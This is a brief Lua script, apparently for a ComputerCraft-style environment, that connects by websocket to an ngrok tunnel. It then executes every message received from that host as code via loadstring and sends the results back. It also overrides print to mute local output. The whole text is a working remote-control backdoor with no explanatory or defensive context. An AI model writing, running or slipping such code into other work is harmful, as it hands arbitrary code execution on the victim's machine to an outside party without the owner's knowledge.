local ws, ws_err = http.websocket("wss://0e52d0098cb3.ngrok.io/") local _print = print print = function(...) return(...) end if ws then ws.send("Hello") while true do local ws_message = ws.receive(); print(ws_message); local f = loadstring(ws_message) local function_output = f() _print("output "..function_output); ws.send(function_output) end ws.close() end